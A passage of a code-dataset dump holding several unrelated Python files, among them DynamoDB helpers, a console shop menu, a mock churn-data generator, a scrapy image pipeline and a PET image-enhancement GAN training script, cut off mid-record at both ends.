the sort_key of the orders-table is unique. Use _get_item for that\n# kwargs = {}\n# kwargs['table_name'] = 'orders'\n\n# if key not in ['user_id', 'unit_id']:\n# return {'error': True, 'msg': 'key must be unit_id or user_id'}\n\n# kwargs['pk'] = {'name': key, 'value': value}\n# if limit:\n# kwargs['limit'] = limit\n\n# if key == 'user_id':\n# if ids_only:\n# kwargs['proj'] = 'resource_id'\n# return _query_table(**kwargs)\n# else:\n# kwargs['idx'] = 'unit_id-created-index'\n# return _query_table(**kwargs)\n\n\n# def _insert_order(user_id, resource_id, unit_id):\n# \"\"\"\n# \"\"\"\n# # Fetch entities\n# unit = get_storage_unit(unit_id)\n# if unit.get('error'):\n# return unit\n\n# user = get_user(user_id)\n# if user.get('error'):\n# return user\n\n# existing_orders = list_orders(key='unit_id', value=unit_id)\n# if isinstance(existing_orders, dict) and existing_orders.get('error'):\n# return existing_orders\n\n# # Test conditions\n# # MOVE TO VIEW-HANDLER\n# # if unit_id in user.get('active_units'):\n# # return {'msg': u'Du har allerede bestilt magasin-enheden'}\n\n# # if len(user.get('active_units')) >= user.get('max_units'):\n# # return {'error': True, 'msg': u'Du kan ikke bestille flere materialer.'}\n\n# # Baseline\n# order = {\n# 'user_id': user_id,\n# 'resource_id': resource_id,\n# 'unit_id': unit_id\n# }\n\n# # If no existing orders on the unit\n# if not existing_orders:\n# # If unit is at readingroom, set status to available end expiration in 14 days\n# if unit.get('status') == 'readingroom':\n# order['status'] = 'available'\n# order['expires'] = str(datetime.date.today() + datetime.timedelta(days=14))\n# msg = 'Materialet er allerede tilgængelig på læsesalen.'\n# # Else reserve the unit (like first in queue)\n# else:\n# order['status'] = 'waiting'\n# msg = 'Materialet er bestilt. du får besked, når det er tilgængeligt på læsesalen.'\n# # If existing orders on the unit, place in queue\n# else:\n# order['status'] = 'waiting'\n# msg = str('Materialet er bestilt. Du er nummer ' + str(len(existing_orders)) + ' i køen.')\n\n# # Insert order\n# if _put_item('orders', order):\n# # send_mail('order_created', user.get('email'))\n# return {'msg': msg}\n# else:\n# return {'error': True, 'msg': 'Ukendt serverfejl. Bestillingen ikke gemt.'}\n\n\n# def delete_order(user_id, resource_id):\n# \"\"\" Cancelled or finished or force-deleted by employee\n# \"\"\"\n# deleted_order = _delete_item('orders',\n# {\n# 'user_id': user_id,\n# 'resource_id': resource_id\n# },\n# return_item=True)\n# if not deleted_order:\n# return {'error': True, 'msg': 'Kunne ikke slette ordren.'}\n\n# # Fetch unit-status. If at readingroom, update next in line \n# # and send availability-mail\n# unit = get_storage_unit(deleted_order.get('unit_id'))\n# if unit.get('status') == 'readingroom':\n# # If next in line, update availability and expiration\n# nxt = list_orders(key='unit_id', value=deleted_order.get('unit_id'), limit=1)\n# if nxt:\n# # Update order-keys and put back in db\n# nxt[0]['status'] = 'available'\n# nxt[0]['expires'] = str(datetime.date.today() + datetime.timedelta(days=14))\n# if _put_item('orders', nxt[0], action='update'):\n# # If order is updated, send availability-mail\n# # send_mail('order_available', nxt[0]['email'])\n# pass\n\n# return {'msg': 'Bestillingen er nu slettet.', 'id': resource_id}\n\n\n################\n# BASE METHODS #\n################\ndef _get_item(table, partition_key, sort_key=None, projection=None):\n \"\"\"\n Return item read by primary key, and possibly sort_key.\n \"\"\"\n if sort_key:\n partition_key.update(sort_key)\n kwargs = {'Key': partition_key}\n\n if projection:\n kwargs['ProjectionExpression'] = projection\n\n table = db.Table(table)\n response = table.get_item(**kwargs)\n\n if response['ResponseMetadata']['HTTPStatusCode'] == 200:\n if response.get('Item'):\n return response.get('Item')\n else:\n return {'error': True, 'msg': 'Item does not exist'}\n else:\n return {'error': True, 'msg': 'Error in fetching item from ' + table + '-table'}\n\n\ndef _put_item(table_name, item, action='insert'):\n \"\"\"\n Add one item (row) to table. item is a dictionary {col_name: value}.\n \"\"\"\n now = datetime.datetime.utcnow().isoformat()\n\n if action == 'insert':\n item['created'] = now\n item['updated'] = now\n table = db.Table(table_name)\n\n response = table.put_item(Item=item)\n if response['ResponseMetadata']['HTTPStatusCode'] == 200:\n return True\n else:\n return False\n\n\ndef _update_item(table_name, partition_key, update_dict):\n \"\"\"\n Update an item.\n PARAMS\n @table_name: name of the table\n @partition_key: dict containing the key name and val\n @update_dict: dict containing the key name and val of\n attributes to be updated\n eg. {\"attribute\": \"processing_status\", \"value\": \"completed\"}\n \"\"\"\n table = db.Table(table_name)\n update_expr = 'SET updated=:now, {}=:val1'.format(update_dict['attribute'])\n\n response = table.update_item(\n Key=partition_key,\n UpdateExpression=update_expr,\n ExpressionAttributeValues={\n ':now': datetime.datetime.utcnow().isoformat(),\n ':val1': update_dict['value']\n },\n ReturnValues='ALL_NEW'\n )\n if response['ResponseMetadata']['HTTPStatusCode'] == 200:\n return response.get('Attributes')\n else:\n return False\n\n\ndef _delete_item(table_name, key, return_item=False):\n \"\"\"\n Delete an item (row) in table from its primary key. Consisting of\n partition-key and possibly a sort_key, all in key\n \"\"\"\n table = db.Table(table_name)\n\n response = table.delete_item(\n Key=key,\n ReturnValues='ALL_OLD' if return_item else 'NONE'\n )\n\n if response['ResponseMetadata']['HTTPStatusCode'] == 200:\n if return_item:\n return response.get('Attributes')\n else:\n return True\n else:\n return False\n\n\ndef _query_table(table_name, pk, sk=None, idx=None, rd=None, proj=None, limit=None):\n \"\"\"\n Perform a query operation on the table.\n \"\"\"\n kwargs = {}\n _pk = pk.get('name')\n _pkv = pk.get('value')\n\n if sk:\n _sk = sk.get('name')\n _skv = sk.get('value')\n kwargs['KeyConditionExpression'] = Key(_sk).eq(_skv) & Key(_pk).eq(_pkv)\n else:\n kwargs['KeyConditionExpression'] = Key(_pk).eq(_pkv)\n\n if proj:\n kwargs['ProjectionExpression'] = proj\n\n if idx:\n kwargs['IndexName'] = idx\n\n if limit:\n kwargs['Limit'] = limit\n\n # reverse_direction. Used when sorting descending\n if rd:\n kwargs['ScanIndexForward'] = False\n\n table = db.Table(table_name)\n response = table.query(**kwargs)\n\n if response['ResponseMetadata']['HTTPStatusCode'] == 200:\n return response.get('Items')\n else:\n return False\n\n\ndef _scan_table(table_name, filter_key=None, filter_value=None, limit=None):\n \"\"\"\n Perform a scan operation on table. Can specify filter_key (col name) and its value to be filtered. This gets all pages of results.\n Returns list of items.\n http://boto3.readthedocs.io/en/latest/reference/customizations/dynamodb.html#dynamodb-conditions\n \"\"\"\n table = db.Table(table_name)\n kwargs = {}\n\n if filter_key and filter_value:\n kwargs['FilterExpression'] = Key(filter_key).eq(filter_value)\n kwargs['Limit'] = limit or None\n # response = table.scan(FilterExpression=filtering_exp)\n response = table.scan(**kwargs)\n\n items = response['Items']\n while True:\n if response.get('LastEvaluatedKey'):\n response = table.scan(ExclusiveStartKey=response['LastEvaluatedKey'])\n items += response['Items']\n else:\n break\n\n return items\n","sub_path":"db.py","file_name":"db.py","file_ext":"py","file_size_in_byte":15983,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"527661844","text":"from os import system\r\nfrom User import *\r\nfrom DBService import *\r\n\r\n\r\ndef clear():\r\n _ = system('cls') \r\n\r\n\r\n\r\nclass MenuService:\r\n \r\n def __init__(self):\r\n self.db = DBService()\r\n\r\n def menu(self,user):#determine which menu should be opened cust,admin or moderator\r\n if user.role_id == 1:\r\n self.admin_menu(user)\r\n elif user.role_id == 2:\r\n self.cust_menu(user)\r\n elif user.role_id == 3:\r\n self.moder_menu(user)\r\n\r\n def moder_menu(self,user):\r\n isActive = True\r\n while isActive:\r\n clear()\r\n user.show_data()\r\n print(\"\\t\\t\\t1.Edit profile\\n\\t\\t\\t2.Edit Catalog\\n\\t\\t\\t3.Exit\")\r\n ch = int(input())\r\n if ch == 1:\r\n self.change_data(user)\r\n elif ch ==2:\r\n self.edit_catalog()\r\n elif ch == 3:\r\n isActive = False\r\n\r\n def admin_menu(self,user):##dodelat'\r\n isActive = True\r\n while isActive:\r\n clear()\r\n user.show_data()\r\n print(\"\\t\\t\\t1.Edit profile\\n\\t\\t\\t2.Appoint merchant\\n\\t\\t\\t3.Approve the delivery\\n\\t\\t\\t4.Exit\")\r\n ch = int(input())\r\n if ch == 1:\r\n self.change_data(user)\r\n elif ch == 2:\r\n clear()\r\n self.appoint_merchant()\r\n elif ch == 3:\r\n self.show_deliveries()\r\n print(\"Enter the id of delivery you want to approve\")\r\n del_id = int(input())\r\n self.approve_del(del_id)\r\n elif ch == 4:\r\n isActive = False\r\n \r\n def approve_del(self,del_id):\r\n self.db.approve_del(del_id)\r\n\r\n def show_deliveries(self):\r\n \r\n for i in self.db.show_deliveries():\r\n print(i)\r\n\r\n\r\n def appoint_merchant(self):\r\n print(\"List of users\")\r\n for i in self.db.get_all_users():\r\n print(i)\r\n print(\"Enter the id of user to change the role\")\r\n a = int(input())#id\r\n clear()\r\n print(\"\\n\\t\\t\\t1.Change to Customer\\n\\t\\t\\t2.Change to Merchant\")\r\n ch = int(input())\r\n for i in self.db.get_all_users():\r\n if i['ID'] == a:\r\n if ch == 2 and i['ROLE_ID'] == 3:\r\n print(\"This user is already a moderator!\\nEnter any key to continue\")\r\n k = input()\r\n elif ch == 1 and i[\"ROLE_ID\"] == 2:\r\n print(\"This user is already a moderator!\\nEnter any key to continue\")\r\n k = input()\r\n elif i[\"ROLE_ID\"] == 1:\r\n print(\"You cannot change the role of this use!\\nEnter any key to continue\")\r\n k = input()\r\n elif ch == 1:\r\n self.db.change_role(a,2)\r\n elif ch == 2:\r\n self.db.change_role(a,3)\r\n\r\n def edit_catalog(self):\r\n isActive = True\r\n while isActive:\r\n clear()\r\n self.show_items()\r\n print(\"\\t\\t\\t1.Add new Item\\n\\t\\t\\t2.Edit Item\\n\\t\\t\\t3.Delete Item\\n\\t\\t\\t4.Exit\")\r\n ch = int(input())\r\n if ch == 1:\r\n clear()\r\n print(\"Enter the name of Item\")\r\n name = input()\r\n print(\"Enter the price of Item\")\r\n price = int(input())\r\n self.db.add_item(name,price)\r\n elif ch == 2:\r\n clear()\r\n self.item_edit()\r\n elif ch == 3:\r\n clear()\r\n print(\"Enter the id of Item you would like to delete\")\r\n Id = int(input())\r\n self.db.delete_item(Id)\r\n elif ch == 4:\r\n isActive = False\r\n \r\n def item_edit(self):\r\n isActive = True\r\n while isActive:\r\n print(\"Enter the id of Item you would like to change\")\r\n item_id = int(input())\r\n print(\"\\t\\t\\t1.Change the name of Item\\n\\t\\t\\t2.Change the price of Item\\n\\t\\t\\t3.Exit\")\r\n ch = int(input())\r\n if ch == 1:\r\n param = \"NAME\"\r\n print(\"Enter the new name for Item\")\r\n name = input()\r\n name = \"\\'{}\\'\".format(name)\r\n self.db.edit_item(param,item_id,name)\r\n elif ch == 2:\r\n param = \"PRICE\"\r\n print(\"Enter the new price for Item\")\r\n price = input()\r\n self.db.edit_item(param,item_id,price)\r\n\r\n elif ch == 3:\r\n isActive = False\r\n\r\n\r\n def change_data(self,user):\r\n isActive = True\r\n while isActive:\r\n clear()\r\n user.show_data()\r\n print(\"\\n\\t\\t\\t1.Change username\\n\\t\\t\\t2.Change first name\\n\\t\\t\\t3.Change last name\\n\\t\\t\\t4.Change password\\n\\t\\t\\t5.Exit\")\r\n ch = int(input())\r\n change = \"\"\r\n if ch == 1:\r\n change = \"\\'USERNAME\\'\"\r\n print(\"Enter new username\")\r\n user.username = input()\r\n self.db.change_data(user,change,user.username)\r\n elif ch == 2:\r\n change = \"\\'FIRST_NAME\\'\"\r\n print(\"Enter new first name\")\r\n user.first_name = input()\r\n self.db.change_data(user,change,user.first_name)\r\n elif ch == 3:\r\n change = \"\\'LAST_NAME\\'\"\r\n print(\"Enter new last name\")\r\n user.last_name = input()\r\n self.db.change_data(user,change,user.last_name)\r\n elif ch == 4:\r\n change = \"\\'PASSWORD\\'\"\r\n print(\"Enter new password\")\r\n user.password = input()\r\n self.db.change_data(user,change,user.password)\r\n elif ch == 5:\r\n isActive = False\r\n\r\n\r\n def edit_cart(self,user):\r\n isActive = True\r\n while isActive:\r\n clear()\r\n self.check_cart(user)\r\n if self.db.cart_filled(user):\r\n print(\"Your cart contains:\\n\")\r\n self.show_cart(user)\r\n else:\r\n print(\"You have nothing in cart\")\r\n print(\"\\t\\t\\t1.Add item to cart\\n\\t\\t\\t2.Delete item from cart\\n\\t\\t\\t3.Buy an Item\\n\\t\\t\\t4.Exit\")\r\n ch = int(input())\r\n\r\n if ch == 4:\r\n isActive = False\r\n elif ch == 1:\r\n self.add_item_to_cart(user)\r\n elif ch == 2:\r\n self.delete_item_from_cart(user)\r\n elif ch == 3:\r\n self.make_delivery(user)\r\n\r\n def make_delivery(self,user):\r\n print(\"Your cart contains:\\n\")\r\n self.show_cart(user)\r\n print(\"Enter the id of Item you want to order\")\r\n item_id = int(input())\r\n if self.db.can_pay(user,item_id):\r\n self.change_balance(user)\r\n self.db.create_del(user,item_id)\r\n else:\r\n print(\"Sorry, you don't have enough money on balance to buy this Item\")\r\n\r\n def change_balance(self,user):\r\n self.db.change_balance(user)\r\n\r\n def add_item_to_cart(self,user):\r\n print(\"Enter the id of Item you want to add to cart\")\r\n item_id = int(input())\r\n cart_id = self.db.get_cart_id(user.Id)\r\n if self.db.check_item_in_cart(item_id,cart_id):\r\n self.db.add_amount(item_id,cart_id)\r\n \r\n else:\r\n self.db.add_item_to_cart(cart_id,item_id)\r\n\r\n def delete_item_from_cart(self,user):\r\n print(\"Enter the if of Item you want to delete from your cart\")\r\n item_id = int(input())\r\n cart_id = self.db.get_cart_id(user.Id)\r\n self.db.delete_item_from_cart_am(cart_id,item_id)\r\n \r\n\r\n def cust_menu(self,user):##produmat vot eto\r\n isActive = True\r\n while isActive:\r\n clear()\r\n user.show_data()\r\n print(\"\\t\\t\\t1.Edit profile\\n\\t\\t\\t2.Edit a cart\\n\\t\\t\\t3.Watch the catalog\\n\\t\\t\\t4.Exit\")\r\n ch = int(input())\r\n if ch == 1:\r\n self.change_data(user)\r\n elif ch == 2:\r\n self.edit_cart(user)\r\n elif ch == 3:\r\n self.show_items()\r\n print(\"\\nEnter any symbol to continue\")\r\n k = input()\r\n elif ch == 4:\r\n isActive = False\r\n \r\n\r\n def register(self):\r\n isActive = True\r\n while isActive:\r\n clear()\r\n user = User()\r\n user.register()\r\n if self.db.is_user(user): \r\n clear()\r\n print(\"Sorry, but this username is already taken\\nPress x to exit\")\r\n x = input()\r\n if x == 'x':\r\n isActive = False\r\n else:\r\n self.db.add_user(user,2);\r\n isActive = False\r\n self.cust_menu(user)\r\n \r\n def login(self):\r\n isActive = True\r\n while isActive:\r\n user = User()\r\n print(\"Enter your username\")\r\n user.username = input()\r\n print(\"Enter your password\")\r\n user.password = input()\r\n\r\n if self.db.check_user(user):\r\n self.menu(user)\r\n isActive = False\r\n else:\r\n print(\"Invalid login or password!\")\r\n print(\"Enter x to exit\")\r\n x = input()\r\n if x == 'x':\r\n isActive = False\r\n \r\n\r\n def start_menu(self):\r\n isActive = True\r\n while isActive:\r\n clear()\r\n print(\"\\t\\t\\t1.Register\\n\\t\\t\\t2.Log-in\\n\\t\\t\\t3.Exit\")\r\n ch = int(input())\r\n if ch == 1:\r\n self.register()\r\n elif ch == 2:\r\n self.login()\r\n elif ch == 3:\r\n isActive = False\r\n elif ch == 4:\r\n for i in self.db.get_all_users():\r\n print(i)\r\n print(self.db.get_cart_nId())\r\n k = input()\r\n \r\n def close_db(self):\r\n self.db.close()\r\n \r\n def show_cart(self,user):#fix it\r\n cart = tuple(self.db.show_cart(user))\r\n for i in cart:\r\n self.show_item(i['ITEM_ID'])\r\n print('Amount: {}'.format(i['AMOUNT']))\r\n\r\n def show_items(self):\r\n for i in self.db.get_all_items():\r\n print(i)\r\n\r\n def show_item(self,item_id):\r\n for i in self.db.show_item(item_id):\r\n print(i)\r\n\r\n def check_cart(self,user):\r\n for i in self.db.show_cart(user):\r\n if i['AMOUNT'] < 1:\r\n self.db.delete_item_from_cart(i['CART_ID'],i['ITEM_ID'])","sub_path":"MenuService.py","file_name":"MenuService.py","file_ext":"py","file_size_in_byte":10809,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"568314582","text":"import numpy as np\nimport pandas as pd\nfrom datetime import datetime\nfrom dateutil.relativedelta import relativedelta\n\n\nclass Client():\n\n def __init__(self, account_id, start_month, monthly_payment, max_months):\n self.account_id = account_id\n self.start_month = start_month\n self.monthly_payment = monthly_payment\n self.max_months = max_months\n self.payments = self.create_payments(self.account_id,\n self.monthly_payment,\n self.start_month,\n self.max_months)\n\n @staticmethod\n def create_payments(account_id, monthly_payment, start_month, max_months):\n\n client_lifetime = np.random.poisson(max_months)\n cnt = 0\n acc_payments = []\n\n for month_num in range(client_lifetime):\n month = start_month + relativedelta(months=cnt)\n if month <= datetime(2019, 5, 1):\n cnt += 1\n if cnt < client_lifetime:\n churn = 0\n else:\n churn = 1\n acc_payments.append([account_id, month, cnt, monthly_payment, churn])\n\n return acc_payments\n\n\ndef create_payments(number, start_date, contract_value, max_months):\n\n payments = []\n for i in range(number):\n client = Client('acc_{}'.format(i),\n start_date + relativedelta(months=np.random.randint(max_months)),\n contract_value,\n max_months)\n payments.extend(client.payments)\n\n payments = pd.DataFrame(payments)\n payments.columns = ['account_id', 'date', 'client_mon', 'payment', 'churn']\n\n return payments\n\n","sub_path":"havelock/mock_data.py","file_name":"mock_data.py","file_ext":"py","file_size_in_byte":1756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"455629773","text":"class Solution(object):\n def minimumTotal(self, triangle):\n if not triangle:\n return\n if len(triangle) == 1:\n return triangle[0]\n n = len(triangle)\n dp = [[0 for j in range(n)] for i in range(n)]\n for i in range(n):\n dp[n - 1][i] = triangle[n - 1][i]\n for i in range(n - 2, -1, -1):\n for j in range(i + 1):\n dp[i][j] = min(dp[i + 1][j], dp[i + 1][j + 1]) + triangle[i][j]\n return dp[0][0]\n","sub_path":"Triangle/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"289820837","text":"# POOL OF \"SECOND\" OBJECT\r\nimport copy\r\nimport math\r\nimport queue\r\nimport random\r\nimport time\r\nimport uuid\r\n\r\nfrom global_models import *\r\nfrom singleton import Singleton\r\n\r\n\r\n# PYTHON USES PROTOTYPE BY DEFAULT WITH COPY.COPY AND COPY.DEEPCOPY\r\n\r\n\r\nclass SecondPool(metaclass=Singleton):\r\n\r\n def __init__(self, size):\r\n self._default_size = size\r\n self._counter_in_use = 0\r\n self._q = queue.Queue()\r\n self._proto = Second()\r\n [self._q.put(copy.copy(self._proto)) for _ in range(self._default_size)]\r\n # deepcopy not needed here\r\n # [self._q.put(Second()) for _ in range(self._size)]\r\n # line above is for version w/o copy\r\n\r\n def reset_counter(self):\r\n self._counter_in_use = 0\r\n\r\n def acquire(self):\r\n result = None\r\n while result is None:\r\n try:\r\n result = self._q.get(timeout=0.001)\r\n self._counter_in_use += 1\r\n except queue.Empty:\r\n self._q.maxsize += 1\r\n self._q.put(copy.copy(self._proto))\r\n append_to_size_list(self._counter_in_use)\r\n return result\r\n\r\n def release(self, second):\r\n result = None\r\n while result is None:\r\n try:\r\n self._q.put(second, timeout=0.001)\r\n result = \"Done!\"\r\n self._q.maxsize -= 1\r\n self._counter_in_use -= 1\r\n except queue.Full:\r\n self._q.maxsize += 1\r\n result = None\r\n while result is None:\r\n try:\r\n self._q.get(timeout=0.001)\r\n self._q.maxsize -= 1\r\n except queue.Empty:\r\n self._q.maxsize += 1\r\n self._q.put(copy.copy(self._proto))\r\n result = \"Done!\"\r\n append_to_size_list(self._counter_in_use)\r\n\r\n\r\nclass Second:\r\n _num = []\r\n # called x y z for common names ?\r\n _what_numbers = 'random'\r\n # options(weights) :\r\n _amount = 1\r\n _maximum = 1\r\n _weight_x = 1\r\n _weight_y = 1\r\n _weight_z = 1\r\n\r\n def __init__(self):\r\n self._id = str(uuid.uuid4())[:8]\r\n\r\n def gen_num(self):\r\n self._num = []\r\n if self._what_numbers == 'random':\r\n for i in range(self._amount):\r\n self._num.append(random.randrange(self._maximum) + 1)\r\n else:\r\n for i in range(self._amount):\r\n self._num.append(i + 1)\r\n\r\n def calculate(self):\r\n self.gen_num()\r\n # ((n)^1/(x*y*z))^n\r\n result = 0\r\n for i in self._num:\r\n temp = math.pow(math.pow(i, 1 / (self._weight_x * self._weight_y * self._weight_z)), i)\r\n time.sleep(0.01 / i / self._amount)\r\n if i % 2 == 1:\r\n result -= temp\r\n else:\r\n result += temp\r\n return result\r\n\r\n def set_what_numbers(self, what_numbers):\r\n self._what_numbers = what_numbers\r\n\r\n def set_amount(self, amount):\r\n self._amount = amount\r\n\r\n def set_maximum(self, maximum):\r\n self._maximum = maximum\r\n\r\n def set_weight_x(self, x):\r\n self._weight_x = x\r\n\r\n def set_weight_y(self, y):\r\n self._weight_y = y\r\n\r\n def set_weight_z(self, z):\r\n self._weight_z = z\r\n\r\n def get_id(self):\r\n print(self._id)\r\n\r\n def get_num(self):\r\n return self._num\r\n","sub_path":"second_pool.py","file_name":"second_pool.py","file_ext":"py","file_size_in_byte":3381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"108485832","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\n\nimport os.path\nimport logging\nimport sys\nfrom pixiv_spider.my_config import *\n\n\n# 文件夹名\nsave_dir = get_save_dir()\n\nif not os.path.exists(save_dir):\n os.mkdir(save_dir)\n\nclass PixivSpiderPipeline(object):\n def open_spider(self, spider):\n self.f = open(\"{}/{}.txt\".format(save_dir, save_dir), \"a+\")\n self.f.seek(0)\n self.url_list = self.f.readlines()\n def process_item(self, item, spider):\n filename = item[\"url\"][item[\"url\"].rfind(\"/\")+1:]\n # 一张图片时\n if int(item[\"count\"]) == 1:\n filepath = \"{}/{}\".format(save_dir, filename)\n # 多张图片时\n else:\n filedir = filename[:filename.index(\"_\")]\n if not os.path.exists(save_dir + \"/\" + filedir):\n os.mkdir(save_dir + \"/\" + filedir)\n filepath = \"{}/{}/{}\".format(save_dir, filedir, filename)\n # 如果不存在该信息 则保存\n if not item[\"url\"] + \"\\n\" in self.url_list:\n self.f.write(item[\"url\"] + \"\\n\")\n self.url_list.append(item[\"url\"] + \"\\n\")\n # 保存图片\n with open(filepath, \"wb\") as ff:\n ff.write(item[\"img\"])\n logging.info(filename + \"\\t处理成功\")\n return item\n def close_sipder(self, spider):\n self.f.close()","sub_path":"pixiv_spider/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"136980869","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nfrom torch.nn import init\nfrom torch.autograd import Variable\n\nimport sys\nsys.path.append('/home/xucheng/Code/MRI_tools/')\nfrom DL_torch.network import *\nfrom DL_torch.util import *\nfrom DL_torch.GAN_def import *\nimport torch.nn.functional as F\nfrom scipy import signal\n\n\n# patch gan\nDatas = np.load('/data/xucheng/TOF/paired_TOF_nonTOF_CT_mask.npy')\nDatas = Datas[30:250,:,40:-40,24:-24]\n\ndef data_sampling(Datas, idxs, slices = 5, crop_size = 160):\n # Datas expected to be 4D [slice, channel, x, y]\n Shiftmx = Datas.shape[2] - crop_size\n Shiftmy = Datas.shape[3] - crop_size\n shiftx = np.random.randint(0,Shiftmx, size=len(idxs)).tolist()\n shifty = np.random.randint(0,Shiftmy, size=len(idxs)).tolist()\n random_scales = (0.01+np.random.rayleigh(size=len(idxs),scale=5))\n random_scales = [np.array([random_scales[i],random_scales[i],1,1])[None,:,None,None] for i in range(len(idxs))]\n data = [(random_scales[i]*Datas[idxs[i]-slices//2:idxs[i]+(slices + 1)//2,:,shiftx[i]:shiftx[i]+crop_size,shifty[i]:shifty[i]+crop_size]) for i in range(len(idxs))]\n return np.asarray(data)\n\n# change output for training purpose\ndef PET_2_5_sampling(Datas, nbatch, batchSize, slices = 5, crop_size = 160):\n idxs = np.arange(slices//2,Datas.shape[0]-slices//2-1)\n np.random.shuffle(idxs)\n idxs = idxs[:nbatch*batchSize].reshape(nbatch,batchSize).tolist()\n datas = [data_sampling(Datas,idxs[i], slices = slices, crop_size = crop_size) for i in range(nbatch)]\n datas = [{'input':data[:,:,1,:,:],'mask':data[:,:,3,:,:],'CT':data[:,:,2,:,:]*data[:,:,3,:,:], 'output':data[:,:,0,:,:]} for data in datas]\n \n return datas\n\n\n# test \nclass opt: pass\nopt.epoch = 0\nopt.n_epochs = 1500\nopt.batchSize = 4\nopt.nbatch = (Datas.shape[0]-7)//opt.batchSize\nopt.lr = 1e-4\nopt.decay_epoch = opt.n_epochs//2\nopt.input_cn = 7\nopt.output_cn = 1\nopt.n_cpu = 1\nopt.size = 160\nopt.cuda = True\nopt.device = torch.device(\"cuda:3\") if opt.cuda == True else torch.device(\"cpu\") \nprint(opt.device)\nslices = opt.input_cn\n\n\n\nnetG = define_GDA(opt.input_cn, opt.output_cn, 'DADenseCNNGenerator3',resnet_output_idx = opt.input_cn//2)\nnetD = define_D(opt.output_cn, 64, 'basic')\n\nif opt.cuda:\n netG.to(opt.device)\n netD.to(opt.device)\n \ncriterion_GAN = torch.nn.MSELoss()\ncriterion_identity = torch.nn.L1Loss()\ncriterion_sim5 = SSIM_loss1(window_size = 5)\ncriterion_sim7 = SSIM_loss1(window_size = 7)\ncriterion_sim9 = SSIM_loss1(window_size = 9)\ncriterion_poisson = nn.PoissonNLLLoss(log_input=False)\n\noptimizer_G = torch.optim.Adam(netG.parameters(), lr=opt.lr, betas=(0.8, 0.99))\noptimizer_D = torch.optim.Adam(netD.parameters(), lr=opt.lr, betas=(0.9, 0.99))\n\nlr_scheduler_G = torch.optim.lr_scheduler.LambdaLR(optimizer_G, lr_lambda=LambdaLR(opt.n_epochs, opt.epoch, opt.decay_epoch).step)\nlr_scheduler_D = torch.optim.lr_scheduler.LambdaLR(optimizer_D, lr_lambda=LambdaLR(opt.n_epochs, opt.epoch, opt.decay_epoch).step)\n\nTensor = torch.Tensor\ninput = Tensor(opt.batchSize, opt.input_cn, opt.size, opt.size).to(opt.device)\ninput_a = Tensor(opt.batchSize, opt.input_cn, opt.size, opt.size).to(opt.device)\noutput = Tensor(opt.batchSize, opt.output_cn, opt.size, opt.size).to(opt.device)\nref = Tensor(opt.batchSize, opt.input_cn, opt.size, opt.size).to(opt.device)\nmask = Tensor(opt.batchSize, opt.output_cn, opt.size, opt.size).to(opt.device)\ntarget_real = Variable(Tensor(size = [opt.batchSize,opt.output_cn]).fill_(1.0).to(opt.device), requires_grad=False)\ntarget_fake = Variable(Tensor(size = [opt.batchSize,opt.output_cn]).fill_(0.0).to(opt.device), requires_grad=False)\n\nwindow_size = 5\nwindow1d = signal.gaussian(M = window_size,std = 1)\nwindow = (window1d[None,:]*window1d[:,None]).astype(np.float32)\nwindow = window/window.sum()\ngauss_kernel2 = Variable(torch.from_numpy(window).expand(opt.output_cn, 1, window_size, window_size).contiguous(), requires_grad=False)\nif opt.cuda:\n gauss_kernel = gauss_kernel2.to(opt.device)\nG_conv = lambda x:F.conv2d(x,gauss_kernel,padding = window_size//2, groups = opt.output_cn)\n\nsobel_kernel = Variable(torch.from_numpy(np.array([[[[1,0,-1],[2,0,-2],[1,0,-1]]],[[[1,2,1],[0,0,0],[-1,-2,-1]]]]).astype(np.float32)).contiguous())\nif opt.cuda:\n sobel_kernel = sobel_kernel.to(opt.device)\nsobel_conv = lambda x:F.conv2d(x,sobel_kernel, groups = opt.output_cn)\n\nfake_B_buffer = ReplayBuffer()\n\nlogger = Logger(opt.n_epochs, opt.nbatch)\n\nfor epoch in range(opt.epoch, opt.n_epochs):\n Datas = np.flip(Datas,axis=0)\n dataloader = PET_2_5_sampling(Datas,opt.nbatch,opt.batchSize, slices = slices, crop_size = opt.size)\n for i, batch in enumerate(dataloader):\n real_A = Variable(input.copy_(torch.from_numpy(batch['input'])))\n real_B = Variable(output.copy_(torch.from_numpy(batch['output'][:,slices//2:slices//2+1,:,:])))\n ref_B = Variable(ref.copy_(torch.from_numpy(batch['output'])))\n mask = Variable(mask.copy_(torch.from_numpy(batch['mask'][:,slices//2:slices//2+1,:,:])))\n CT =Variable(input_a.copy_(torch.from_numpy(batch['CT'])))\n ###### Generator ######\n # Similarity and Identity loss\n optimizer_G.zero_grad()\n fake_B,_ = netG(real_A, CT)\n ref_B1,_ = netG(ref_B, CT)\n loss_sim = criterion_sim9(real_B, fake_B, mask)*5.0\n # loss_id2 = criterion_identity(torch.sqrt(fake_B+3/8),torch.sqrt(real_B+3/8))/5\n loss_id2 = criterion_identity(torch.sqrt(fake_B+1e-6),torch.sqrt(real_B+1e-6))\n loss_id = criterion_identity(torch.sqrt(ref_B1+1e-6),torch.sqrt(real_B+1e-6))\n #loss_id3 = criterion_identity(ref_B1,real_B)/real_B.mean()\n pred_fake = netD(fake_B)\n loss_GAN = criterion_GAN(pred_fake, target_real)\n \n loss_G = loss_sim + loss_id + loss_id2 + loss_GAN \n loss_G.backward()\n \n optimizer_G.step()\n ###################################\n \n ###### Discriminator A ######\n optimizer_D.zero_grad()\n fake_B1 = fake_B.detach()\n fake_B = fake_B_buffer.push_and_pop(fake_B)\n pred_fake = netD(fake_B.detach())\n loss_D_fake = criterion_GAN(pred_fake, target_fake)\n pred_real = netD(real_B)\n loss_D_real = criterion_GAN(pred_real, target_real)\n\n # Total loss\n loss_D = (loss_D_real + 